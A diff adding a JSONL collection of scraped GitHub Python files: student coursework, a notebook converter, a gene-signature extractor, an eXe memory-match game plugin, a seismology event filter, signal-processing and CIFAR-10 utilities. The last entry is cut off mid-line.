diff --git "a/4389.jsonl" "b/4389.jsonl" new file mode 100644--- /dev/null +++ "b/4389.jsonl" @@ -0,0 +1,1153 @@ +{"seq_id":"34566106165","text":"#-*- coding: utf-8 -*-\n\n# 2016-2017 Fundamentos de Programacao\n# Grupo 032\n# 50011 Rodrigo Alcarva\n# 50030 João Miguel\n\nfrom readingFromFiles import *\nfrom constants import *\nfrom dateTime import *\nfrom scheduling import *\nfrom sys import argv\n\ndef writeScheduleFile(tasksAssigned, file_name, header):\n \"\"\"Writes a collection of services into a file.\n Requires:\n tasksAssigned is a list with the structure as in the output of\n scheduling.scheduleTasks representing the translation tasks assigned;\n file_name is a str with the name of a .txt file;\n header is a string with a header, as in the examples provided in \n the general specification (omitted here for the sake of readability).\n Ensures:\n writing of file named file_name representing the list of\n translation tasks in tasksAssigned prefixed by header and \n organized as in the examples provided in the general specification \n (omitted here for the sake of readability);\n the listing in this file keeps the ordering top to bottom of \n the translations tasks as ordered head to tail in tasksAssigned.\n \"\"\"\n time = readingFromFiles.readTime(argv[1]) #reads the time\n day = readingFromFiles.readDate(argv[1]) #reads the date\n date = dateTime.ten_minutes(time,day)[0] #plus 10 min\n hour = dateTime.ten_minutes(time,day)[1]\n header[3]=date+'\\n'\n header[5]=hour+'\\n'\n outFile = open(file_name,\"w\")\n notassined = False\n List=[]\n for task in tasksAssigned:\n if task[0] != 'not-assigned and not-applicable': #if theres isnt a date to sort\n task[0]=DayPerYear(task[0])\n List.append(task)\n notassined = True\n tasksAssigned = sorted(List, key=itemgetter(0))\n for task in tasksAssigned:\n task[0]=DayPerYear(task[0]) #will change the dd-mm-yyy to yyyy-mm-dd , to sort properly\n for line in header:\n outFile.write(str(line))\n for task in tasksAssigned:\n for elem in task:\n outFile.write(str(elem)+', ')\n outFile.write('\\n')\n if notassined:\n outFile.write('not-assigned and not-applicable\\n') \n\n\ndef writeTranslatorsFile(translatorsUpdated, file_name, header):\n \"\"\"\n Writes a collection of translators into a file.\n Requires:\n translatorsUpdates is a list with the structure as in the output of\n scheduling.scheduleTasks representing the updated translators;\n file_name is a str with the name of a .txt file;\n header is a string with a header, as in the examples provided in \n the general specification.\n Ensures:\n writing of file named translators + updated time representing the list of\n translators and their info in translatorsUpdated prefixed by header and \n organized as in the examples provided in the general specification \n (omitted here for the sake of readability);\n the listing in this file keeps the ordering top to bottom of \n the translations tasks as ordered head to tail in translatorsUpdated.\n \"\"\"\n time = readingFromFiles.readTime(argv[1])\n day = readingFromFiles.readDate(argv[1])\n date = dateTime.ten_minutes(time,day)[0]\n hour = dateTime.ten_minutes(time,day)[1]\n header[3]=date+'\\n'\n header[5]=hour+'\\n'\n outFile=open(file_name,\"w\")\n for line in header:\n outFile.write(str(line))\n for trad in translatorsUpdated:\n outFile.write(str(trad)+', ')\n for info in translatorsUpdated.get(trad):\n outFile.write(str(trad)+', ')\n outFile.write('\\n')\n outFile.close()\n","repo_name":"rodrigoalcarva/uberTranslation_Python","sub_path":"uberTransGroup786/writingToFiles.py","file_name":"writingToFiles.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13123435591","text":"import os\nimport nbformat\nfrom nbconvert import MarkdownExporter, PDFExporter, RSTExporter\nfrom nbconvert.writers import FilesWriter\n\nSUPPORTED_FORMATS = {\"md\", \"pdf\", \"rst\"}\n\n\nclass Formatter:\n def __init__(self, output):\n assert output in SUPPORTED_FORMATS, f\"supported formats are {SUPPORTED_FORMATS}\"\n self.read_encoding = \"utf-8\"\n self.write_encoding = \"utf-8\"\n self.format = output\n\n if self.format == \"pdf\":\n pdf = PDFExporter()\n pdf.exclude_output_prompt = True\n pdf.exclude_input = True\n self.exporter = pdf\n elif self.format == \"rst\":\n self.exporter = RSTExporter()\n else:\n self.exporter = MarkdownExporter()\n\n def convert(self, file):\n assert os.path.exists(file), f\"this should not happen, path {file} must exist\"\n body, resources = self.export(file)\n\n fw = FilesWriter()\n fw.build_directory = os.path.dirname(file)\n f_name = os.path.basename(file).replace(\".ipynb\", \"\")\n fw.write(body, resources, notebook_name=f_name)\n\n def dst_path(self, file):\n return file.replace(\".ipynb\", f\".{self.format}\")\n\n def export(self, file):\n with open(file, \"r\", encoding=self.read_encoding) as f:\n nb = nbformat.read(f, as_version=4)\n body, resources = self.exporter.from_notebook_node(nb)\n return self.replace_image_names(body, resources, file)\n\n def replace_image_names(self, body, resources, file):\n names = self._get_output_names(resources)\n if not names:\n return body, resources\n\n f_name = os.path.basename(file).replace(\".ipynb\", \"\")\n new_outputs = {}\n for i, old_key in enumerate(names):\n _, image_extension = os.path.splitext(old_key)\n output_name = f\"{f_name}_{i}{image_extension}\"\n new_outputs[output_name] = resources[\"outputs\"][old_key]\n body = body.replace(old_key, output_name)\n resources[\"outputs\"] = new_outputs\n\n return body, resources\n\n def _get_output_names(self, resources):\n \"\"\"'outputs' may be empty or contain a string. Ask forgiveness, not permission.\"\"\"\n try:\n return resources[\"outputs\"].keys()\n except Exception:\n return []\n\n def needs_format(self, file):\n f_path = self.dst_path(file)\n\n if not os.path.exists(f_path):\n return True\n\n notebook_modified = os.stat(file).st_mtime\n formatted_modified = os.stat(f_path).st_mtime\n\n return notebook_modified > formatted_modified\n\n def save_figures(self, resources):\n if \"outputs\" not in resources:\n return\n\n for name, bytes_ in resources[\"outputs\"]:\n print(f\"name = {name}, bytes = {len(bytes_)}\")\n\n for key, value in resources.items():\n pass\n","repo_name":"fernandezpablo85/notebook_convert","sub_path":"nb_lib/formatter.py","file_name":"formatter.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"33638941109","text":"# list, tuple로 in 사용하면 O(n)이다.\r\n# set, dictionary로 사용하면 평균 O(1) 최악 O(n)이다. hash로 값을 저장하기 때문에\r\n\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nn, m = map(int, input().split())\r\n\r\ns = set()\r\ncheck = []\r\ncount = 0\r\n\r\nfor i in range(n):\r\n s.add(input())\r\n\r\nfor i in range(m):\r\n check.append(input())\r\n\r\nfor i in range(m):\r\n if check[i] in s:\r\n count = count + 1\r\n\r\nprint(count)\r\n","repo_name":"tfer2442/myAlgorithm","sub_path":"백준/Silver/14425. 문자열 집합/문자열 집합.py","file_name":"문자열 집합.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26532746590","text":"\nimport pandas as pd\n\n\ndef signature_extractor(file):\n \"\"\"\n Function is used to calculate signatures out of differentially expressed genes\n\n Args:\n file (str): path to the file with DE genes\n\n Returns:\n up_genes (:obj:`list` of :obj:`str`): List of up-regulated genes\n down_genes (:obj:`list` of :obj:`str`): List of down-regulated genes\n logFC_up (:obj:`list` of :obj:`float`): List of logFC for up-regulated genes\n logFC_down (:obj:`list` of :obj:`float`): List of logFC for down-regulated genes\n \"\"\"\n\n # preprocessing data before\n # calculating up/down regulated genes\n\n stat = pd.read_table(file, sep=\" \")\n stat = stat.apply(pd.to_numeric)\n\n up_genes = []\n down_genes = []\n logFC_up = []\n logFC_down = []\n names = stat.columns\n stat = stat.sort_values(by=[\"logFC\", \"PValue\"], ascending=[False, True])\n\n # calculating up/down regulated genes\n if names[0] == \"logFC\" and names[2] == \"PValue\":\n data_up = stat[(stat[\"logFC\"] >= 4.5) & (stat[\"PValue\"] <= 1e-3)]\n data_down = stat[(stat[\"logFC\"] <= -2.5) & (stat[\"PValue\"] <= 1e-3)]\n if len(list(data_down.index)) > 5000:\n data_down = stat[(stat[\"logFC\"] <= -2.5) & (stat[\"PValue\"] <= 1e-3)]\n up_genes = data_up.index\n down_genes = data_down.index\n logFC_up = data_up[\"logFC\"]\n logFC_down = data_down[\"logFC\"]\n\n if names[1] == \"log2FoldChange\" and names[5] == \"padj\":\n up_genes = stat[(stat[\"log2FoldChange\"] >= 1.5) & (stat[\"padj\"] <= 1e-3)].index\n down_genes = stat[(stat[\"log2FoldChange\"] <= -1.5) & (stat[\"padj\"] <= 1e-3)].index\n\n with open(\"up_genes_ips.txt\", \"w\") as file:\n file.write('\\t'.join(up_genes))\n with open(\"down_genes_ips.txt\", \"w\") as file:\n file.write('\\t'.join(down_genes))\n return up_genes, down_genes, logFC_up, logFC_down\n\n\n# Code for PWx project\n\"\"\"\nimport pandas as pd\n\ndef signature_extractor(file):\n '''\n Function is used to calculate signatures out of differentially expressed genes;\n :param file: a name of file with DE genes;\n :return: two lists: one with up-regulated and the other with down-regulated genes;\n '''\n\n # preprocessing data before\n # calculating up/down regulated genes\n\n stat = pd.read_table(file, sep=\"\\t\")\n stat = stat.apply(pd.to_numeric)\n print(stat)\n up_genes = []\n down_genes = []\n names = stat.columns\n stat = stat.sort_values(by=[\"FC\", \"P.adj\"], ascending=[False, True])\n\n # calculating up/down regulated genes\n\n if names[1] == \"FC\" and names[0] == \"P.adj\":\n data_up = stat[(stat[\"FC\"] >= 0.2) & (stat[\"P.adj\"] <= 0.05)]\n data_down = stat[(stat[\"FC\"] <= -0.2) & (stat[\"P.adj\"] <= 0.05)]\n up_genes = data_up.index\n down_genes = data_down.index\n logFC_up = data_up[\"FC\"]\n logFC_down = data_down[\"FC\"]\n\n if names[1] == \"log2FoldChange\" and names[5] == \"padj\":\n up_genes = stat[(stat[\"log2FoldChange\"] >= 0.2) & (stat[\"padj\"] <= 5e-2)].index\n down_genes = stat[(stat[\"log2FoldChange\"] <= -0.2) & (stat[\"padj\"] <= 5e-2)].index\n print(len(up_genes), len(down_genes))\n up_string = '\\t'.join(up_genes)\n down_string = '\\t'.join(down_genes)\n up_out = [\"PWx\", \"signature for PWX\", up_string]\n down_out = [\"PWx\", \"signature for PWX\", down_string]\n with open(\"up_genes.gmt\", \"w\") as file:\n file.write('\\t'.join(up_out))\n with open(\"down_genes.gmt\", \"w\") as file:\n file.write('\\t'.join(down_out))\n return up_genes, down_genes, logFC_up, logFC_down\n\"\"\"\n\n# signature_extractor(\"~/Downloads/DE_IPS_fb_deseq2_edger.txt\")\n","repo_name":"marie-minaeva/Topo_CM","sub_path":"signature_extractor.py","file_name":"signature_extractor.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1772878309","text":"import logging\nfrom exe.engine.idevice import Idevice\nfrom exe.engine.field import TextAreaField\nfrom exe.engine.field import Field\nfrom exe.engine.path import Path, toUnicode\nfrom exe.engine.resource import Resource\nfrom extendedfieldengine import *\nlog = logging.getLogger(__name__)\n\n# ===========================================================================\nclass MemoryMatchIdeviceInc(Idevice):\n \"\"\"\n This is an example of a user created iDevice plugin. If it is copied\n into the user's ~/.exe/idevices dircectory it will be loaded along with\n the system idevices.\n \"\"\"\n \n persistenceVersion = 4\n \n def __init__(self, content=\"\"):\n Idevice.__init__(self, x_(u\"Memory Match Game\"), \n x_(u\"Toughra Technologies FZ LLC.\"),\n x_(u\"\"\"Memory Match Game Maker.\"\"\"), \"\", \"\")\n self.message = \"\"\n \n mainFieldOrder = ['title', 'instructions', 'rows', 'cols', 'splitPairs', 'feedbackpositive', 'feedbacknegative', 'feedbackstyle', \\\n 'hidetime', 'coverImg', 'cellbackImg', 'revealedBackground', 'positivefeedbackeffect', \\\n 'negativefeedbackeffect', 'useTimer', 'timertext', 'timerstyle', 'hideAfterMatch', 'hideAfterMatchEffect', 'cellpadding',\\\n 'cellspacing', 'cellstyle']\n\n mainFieldsInfo = { 'title' : ['text', x_('Title'), x_('Title')], \\\n 'instructions' : ['textarea', x_('Instructions to show'), x_('Instructions')],\\\n 'rows' : ['text', x_('Number of Rows'), x_('Number of Rows'), {'defaultval' : '2'}],\\\n 'cols' : ['text', x_('Number of Columns'), x_('Number of Columns'), {'defaultval' : '2'}],\\\n 'splitPairs' : ['choice', x_('Split Question/Answer Pairs'), x_('Split Question/Answer Pairs'),\\\n {'choices' : [['true', x_('Yes')], ['false', x_('No')]] }],\\\n 'feedbackpositive' : ['textarea', x_('Feedback to show on correct match'), x_('Positive Feedback')],\\\n 'feedbacknegative' : ['textarea', x_('Feedback to show on incorrect pair'), x_('Negative Feedback')],\\\n 'feedbackstyle' : ['text', x_('Style of Feedback Area (CSS)'), x_('CSS style for feedback area'), {'type': 'advanced'}],\\\n 'cellwidth' : ['text', x_('Width of Cells (in pixels)'), x_('Cell Width px'), {'defaultval' : '100'}],\\\n 'cellheight' : ['text', x_('Height of Cells (in pixels)'), x_('Cell Height px'), {'defaultval' : '100'}],\\\n 'hidetime' : ['text', x_('Time after which to re-hide incorrect match (ms)'), x_('Time to hide'), {'defaultval' : '1000', 'type': 'advanced'}],\\\n 'coverImg' : ['image', x_('Cover Image for cells (shown before selected)'), x_('Cover Img'), {'defaultval' : 'memmatch_covercelldefault.png'}],\\\n 'cellbackImg' : ['image', x_('Background Image for cells (shown after selected)'), x_('Back Img'), {'defaultval' : 'memmatch_showcelldefaultbg.png'}],\\\n 'revealedBackground' : ['image', x_('Background image behind cells shown as cells are hidden'), x_('Bg Img')],\\\n 'positivefeedbackeffect' : ['choice', x_('Effect for showing positive feedback'), x_('Positive Feedback Effect'),\\\n {'choices' : EXEFIELD_JQUERYUI_EFFECTLIST } ],\\\n 'negativefeedbackeffect' : ['choice', x_('Effect for showing negative feedback'), x_('Negative Feedback Effect'),\\\n {'choices' : EXEFIELD_JQUERYUI_EFFECTLIST } ],\\\n 'useTimer' : ['choice', x_('Show / Use a timer?'), x_('Use Timer?'), {'choices' : [['true', 'Yes'], ['false', 'No']]} ],\\\n 'hideAfterMatch' : ['choice', x_('Hide Cells after match made?'), x_('Hide after match'), \\\n {'choices' : [['true', x_('Yes')], ['false', x_('No')]]} ],\\\n 'hideAfterMatchEffect' : ['choice', x_('Effect when hiding cells after match'), x_('Hide after match effect'), \\\n {'choices' : EXEFIELD_JQUERYUI_EFFECTLIST } ],\\\n 'cellpadding' : ['text', x_('Cell Padding in table'), x_('Cell Padding'), {'defaultval' : '0','type': 'advanced'}],\\\n 'cellspacing' : ['text', x_('Cell Spacing of table'), x_('Cell Spacing'), {'defaultval' : '0','type': 'advanced'}],\\\n 'cellstyle' : ['text', x_('Cell Default Style (CSS)'), x_('Cell Style CSS'), {'defaultval' : 'text-align: center; font: 18pt bold','type': 'advanced'}],\\\n 'timertext' : ['text', x_('Text of Timer Label'), x_('Timer Text'), {'type': 'advanced'}],\\\n 'timerstyle' : ['text', x_('CSS of Timer Field'), x_('Timer CSS'), {'type': 'advanced'}]\\\n }\n self.mainFieldSet = ExtendedFieldSet(self, mainFieldOrder, mainFieldsInfo)\n self.mainFieldSet.makeFields()\n \n #the pairs of matching items\n self.matchPairFields = []\n\n self.emphasis = Idevice.SomeEmphasis\n \n \"\"\"\n Game requires jquery (modified slower refresh rate) and jqueryui scripts - these should be in the same\n folder as this idevice source file\n\n This can then be called from the process method\n \"\"\"\n def uploadNeededScripts(self):\n from exe import globals\n import os,sys\n scriptFileNames = ['jquery-ui-1.10.3.custom.min.js', 'memmatch-0.2.js']\n for scriptName in scriptFileNames:\n from exe import globals \n scriptSrcFilename = globals.application.config.webDir/\"templates\"/scriptName\n gameScriptFile = Path(scriptSrcFilename)\n if gameScriptFile.isfile():\n Resource(self, gameScriptFile)\n\n def upradeToVersion2(self):\n self.message = \"\"\n self.emphasis = Idevice.SomeEmphasis\n self.mainFieldSet.fieldOrder.insert(0, \"title\")\n self.mainFieldSet.fieldInfoDict['title'] = ['text', x_('Title'), x_('Title')]\n self.mainFieldSet.makeFields()\n \n def upgradeToVersion3(self):\n self.mainFieldSet.fieldInfoDict['coverImg'][3] = {'defaultval' : 'memmatch_covercelldefault.png'}\n self.mainFieldSet.fieldInfoDict['cellbackImg'][3] = {'defaultval' : 'memmatch_showcelldefaultbg.png'}\n \n \"\"\"\n Changed javascript\n \"\"\"\n def upgradeToVersion4(self):\n self.uploadNeededScripts()\n \n \n def setNumMatchingPairs(self):\n numRows = int(self.mainFieldSet.fields['rows'].content)\n numCols = int(self.mainFieldSet.fields['cols'].content)\n \n numPairsExisting = len(self.matchPairFields)\n \n numPairsNeeded = int((numRows * numCols) / 2)\n if numPairsNeeded > numPairsExisting:\n for index in range(numPairsExisting, numPairsNeeded):\n newMatchPairField = MemoryMatchPairField(self)\n self.matchPairFields.append(newMatchPairField)\n elif numPairsNeeded < numPairsExisting:\n #too many - delete some\n del self.matchPairFields[numPairsNeeded:numPairsExisting]\n \n \n \n \n \n\nclass MemoryMatchPairField(Field):\n \"\"\"Represents a matching pair in the memory match game\"\"\"\n \n persistenceVersion = 3\n \n def __init__(self, idevice, desc=x_(\"Memory Match Pair Field\"), help=x_(\"Memory Match Pair Field\")):\n Field.__init__(self, desc, help)\n self.idevice = idevice\n \n mainFieldOrder = ['match1', 'match2']\n mainFieldsInfo = {'match1' : ['textarea', x_('Match Tile 1'), x_('Match Tile1')],\\\n 'match2' : ['textarea', x_('Match Tile 2'), x_('Match Tile2')] }\n \n self.mainFields = ExtendedFieldSet(self.idevice, mainFieldOrder, mainFieldsInfo)\n\n\n# ===========================================================================\ndef register(ideviceStore):\n \"\"\"Register with the ideviceStore\"\"\"\n ideviceStore.extended.append(MemoryMatchIdeviceInc())\n \n\n# ===========================================================================\n","repo_name":"exelearning/iteexe","sub_path":"exe/engine/memorymatchidevice.py","file_name":"memorymatchidevice.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"61"} +{"seq_id":"36324330575","text":"# coding: utf-8\n# @FileName: log_write.py\n# @Time: 2022/7/18 17:14\n# @Author: QHB\n\n# 日志参考链接: https://zdyxry.github.io/2018/07/22/%E8%AF%91-python-logging-%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/\n\nimport logging\nfrom logging import FileHandler\n\n\nclass Logger(object):\n def __init__(self, filename, level='debug', fmt='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s'):\n # 日志级别关系映射\n self.level_relations = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL\n }\n self.logger = logging.getLogger(filename)\n # 设置日志级别\n self.logger.setLevel(self.level_relations.get(level))\n # 往文件里写入\n handler = FileHandler(filename=filename, encoding='utf-8')\n # 设置写入日志的级别\n handler.setLevel(self.level_relations.get(level))\n # 设置日志格式\n format_str = logging.Formatter(fmt)\n handler.setFormatter(format_str)\n # 把对象加到logger里\n self.logger.addHandler(handler)\n\n\n# 生成日志, 并写入到日志文件中\nall_log = Logger('../log_record/all.log', level='warning')\nerror_log = Logger('../log_record/error.log', level='error')\n","repo_name":"qhb98/space_digit_cad","sub_path":"space_digit_cad/log_write.py","file_name":"log_write.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73627155074","text":"# LICENSE\n#\n# This file is part of pSysmon.\n#\n# If you use pSysmon in any program or publication, please inform and\n# acknowledge its author Stefan Mertl (stefan@mertl-research.at).\n#\n# pSysmon is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport sqlalchemy.orm\n\nimport psysmon\nimport psysmon.core.packageNodes as package_nodes\nimport psysmon.core.preferences_manager as psy_pm\n\n# Import GUI related modules only if wxPython is available.\nif psysmon.wx_available:\n import psysmon.gui.dialog.pref_listbook as psy_lb\n\n\nclass TypeFilter(package_nodes.LooperCollectionChildNode):\n ''' Filter events based on their event type.\n\n '''\n name = 'event type filter'\n mode = 'looper child'\n category = 'filter'\n tags = ['event', 'type']\n\n def __init__(self, **args):\n ''' Initialize the instance.\n '''\n package_nodes.LooperCollectionChildNode.__init__(self, **args)\n\n # No waveform data is needed.\n self.need_waveform_data = False\n\n self.create_filter_preferences()\n\n\n def create_filter_preferences(self):\n ''' Create the filter preferences.\n '''\n pref_page = self.pref_manager.add_page('Filter')\n event_group = pref_page.add_group('event')\n\n # The event type to pass.\n item = psy_pm.SingleChoicePrefItem(name = 'event_type',\n label = 'event type',\n limit = [],\n value = None,\n tool_tip = 'The event type to pass to the next nodes.')\n event_group.add_item(item)\n\n\n def edit(self):\n ''' Create the preferences edit dialog.\n '''\n # TODO: Visualize the event types in a tree structure.\n # TODO: In the database table: Make the combination of parent_id and name unique, not only the\n # name.\n event_types = self.load_event_types()\n self.pref_manager.set_limit('event_type', [x.name for x in event_types])\n\n # Create the edit dialog.\n dlg = psy_lb.ListbookPrefDialog(preferences = self.pref_manager)\n\n dlg.ShowModal()\n dlg.Destroy()\n\n\n def initialize(self):\n ''' Initialize the node.\n '''\n super(TypeFilter, self).initialize()\n # Get the event type to filter.\n self.event_types = self.load_event_types()\n\n\n\n def execute(self, stream, process_limits = None, origin_resource = None, channels = None, **kwargs):\n ''' Execute the stack node.\n\n Parameters\n ----------\n stream : :class:`obspy.core.Stream`\n The data to process.\n '''\n # Check for needed keyword arguments.\n if not self.kwargs_exists(['event'], **kwargs):\n raise RuntimeError(\"The needed event argument was not passed to the execute method.\")\n\n event = kwargs['event']\n selected_event_type = self.pref_manager.get_value('event_type')\n\n if not event.event_type:\n return 'abort'\n elif event.event_type.name != selected_event_type:\n return 'abort'\n else:\n return None\n\n\n def load_event_types(self):\n ''' Load the available event types from the database.\n '''\n db_session = self.project.getDbSession()\n event_types = []\n try:\n event_type_table = self.project.dbTables['event_type']\n query = db_session.query(event_type_table)\n query = query.options(sqlalchemy.orm.immediateload(event_type_table.children))\n query = query.options(sqlalchemy.orm.immediateload(event_type_table.parent))\n event_types = query.all()\n finally:\n db_session.close()\n\n return event_types\n","repo_name":"stefanmaar/psysmon","sub_path":"lib/psysmon/packages/event/lc_event_type_filter.py","file_name":"lc_event_type_filter.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36878766410","text":"\nfrom ex2 import signal \nimport numpy as np\nimport matplotlib.pyplot as plt \n\ndef pondere(p, signal): # p * signal\n return lambda x: p * signal(x)\n\ndef add_signals(*signals):\n return lambda x: sum([s(x) for s in signals])\n\ndef fourier_brute(esantioane, omega):\n n = len(esantioane)\n ind = np.arange(n)\n arr = esantioane * np.exp(-2 * np.pi * 1j * ind * omega / n)\n return np.sum(arr)\n\nsemnal_compus = add_signals(signal(5), pondere(1/2, signal(10)), pondere(1/6, signal(15)))\nf_esant = 100\nx = np.linspace(0, 1, f_esant)\n\nm_max = int(f_esant / 5)\n\n\nfig, ax = plt.subplots(nrows=1, ncols=2)\nfig.tight_layout(pad=2.0)\nax[0].plot(x, semnal_compus(x))\nax[0].set_title(\"Semnal compus\")\nax[0].set_xlabel(\"Timp (s)\")\nax[0].set_ylabel(\"x(t)\")\n\nx_gr = [i * 5 for i in range(m_max)]\ny_gr = [fourier_brute(semnal_compus(x), i) for i in x_gr]\nax[1].set_title(\"Fourier\")\nax[1].set_xlabel(\"Frecventa (Hz)\")\nax[1].set_ylabel(\"|$X(\\\\omega)$|\")\nax[1].stem(x_gr, y_gr)\nplt.savefig(\"ex3.pdf\")\nplt.show()\n","repo_name":"tudorcoman/proc-semnale","sub_path":"Lab3/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36939778238","text":"# import os and csv lib to load data \nimport os\nimport csv\n\n#input file name - to be used later for other files in same dir location \nfile_name=input(\"Input Revenue file data name:\")\n\n# for file location \nRevenue_data = os.path.join(\"raw_data\", file_name)\n\n# intiate Revenue and Months lists to stor values \nRevenue=[]\nMonths=[]\n\n# open the file and loop over the fhd, update Revenue=[] and Months=[]\nwith open(Revenue_data, newline=\"\") as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=\",\")\n\n # Skip csv headers \n next(csv_reader, None)\n\n # Loop over fh\n for row in csv_reader:\n Months.append(row[0]) # Update Months list \n Revenue.append(int(row[1])) # Update Rev list\n \n\n\n# work out change data and store it in a list \nval=Revenue[0] # set initial value \nChange=[] # set change values list \nfor i in Revenue: # loop over Revenue list to calculate change \n Diff=i-val\n Change.append(Diff) # update Change \n val=i\n\n\n\nmax_index=[i for i, j in enumerate(Change) if j == (max(Change))][0] # index of max Change \nmin_index=[i for i, j in enumerate(Change) if j == (min(Change))][0] # index of min Change \n\n\n#Data Summary \n#Simple functions to find from list(s)\n\nTotal_Months=len(Revenue)\nTotal_Revenue=sum(Revenue) \n\nAverage_Revenue_Change=((sum(Change))/(len(Change)-1)) # (len(Change) -1 ) to ignore the first month \n\nGreatest_Increase_Month=Months[max_index] # find the month of max change via index of max in Change \nGreatest_Increase_Change=max(Change)\n\nGreatest_Decrease_Month=Months[min_index] # find the month of min change via index of min in Change \nGreatest_Decrease_Change=min(Change)\n\n\n\n# Print out the Summary \nprint('Financial Analysis')\nprint('----------------------------')\nprint('Total Months: ' + str(Total_Months)) \nprint('Total Revenue: $' + str(Total_Revenue))\nprint('Average Revenue Change: $' + str(Average_Revenue_Change))\nprint('Greatest Increase in Revenue:' + Greatest_Increase_Month +\" $\"+ str(Greatest_Increase_Change))\nprint('Greatest Decrease in Revenue:' + Greatest_Decrease_Month +\" $\"+ str(Greatest_Decrease_Change))","repo_name":"aerwemi/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1349300213","text":"import numpy as np\nimport cv2\n\ncap = cv2.VideoCapture('eggs.avi')\nw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nh = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\n\nout = cv2.VideoWriter('eggs-reverse.avi', fourcc, 300.0, (w, h))\na = []\nwhile True:\n ret, I = cap.read()\n\n if ret is False:\n break\n\n print(I.shape)\n a.append(I)\nlist.reverse(a)\nfor a2 in a:\n out.write(a2)\ncap.release()\nout.release()\n","repo_name":"ErfanMomeniii/vision","sub_path":"lab3/lab3-rv.py","file_name":"lab3-rv.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44390187911","text":"from sympy import im\nimport torch\nimport os\n\nfrom .resnet import resnet50, resnet101, resnet152\nfrom .densenet import densenet121\nfrom .wideresnet import wideresnet\nfrom .preact_resnet import preactresnet18\nfrom .vgg import vgg16, vgg19\nfrom .resnext import resnext29_8x64d, resnext29_16x64d\nfrom .senet import se_resnext29_8x64d,se_resnext29_16x64d\n\n\nimport torch.nn.functional as F\n# import torchvision\nimport numpy as np\n\nclass Normalize(torch.nn.Module):\n def __init__(self, mean, std):\n super(Normalize, self).__init__()\n if not isinstance(mean, torch.Tensor):\n mean = torch.tensor(mean)\n if not isinstance(std, torch.Tensor):\n std = torch.tensor(std)\n self.register_buffer('mean', mean)\n self.register_buffer('std', std)\n\n def forward(self, tensor):\n return normalize_fn(tensor, self.mean, self.std)\n\n def backward(self):\n return \"mean={}, std={}\".format(self.mean, self.std)\n\ndef normalize_fn(tensor, mean, std):\n \"\"\"\n Differentiable version of torchvision.functional.normalize\n - default assumes color channel is at dim = 1\n \"\"\"\n mean = mean[None, :, None, None]\n std = std[None, :, None, None]\n return tensor.sub(mean).div(std)\n\ndef makedirs(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\ndef load_model(arch):\n normalize = Normalize(mean=[0.4914, 0.4822, 0.4465],\n std=[0.2023, 0.1994, 0.2010])\n model = globals()[arch]()\n model = torch.nn.Sequential(normalize, model)\n model.eval()\n return model\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].reshape(-1).float().sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\n Imported from https://github.com/pytorch/examples/blob/master/imagenet/main.py#L247-L262\n \"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count","repo_name":"winterwindwang/AdvOps","sub_path":"cifar10_models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4160802128","text":"from user import User\nfrom privileges import Privileges\nfrom admin import Admin\n\n\n\nuser = Admin(\"Russell\", \"Arlt\", 34, \"5'9\")\n\ndef describe_admin(user):\n print(user.first_name)\n print(user.last_name)\n print(user.age)\n print(user.height)\n print(\"-----Admin privileges-----\")\n user.privileges.show_privileges()\n \ndef greet_user(user):\n print(f\"Hello {user.first_name} {user.last_name}, I hear you are {user.age} years 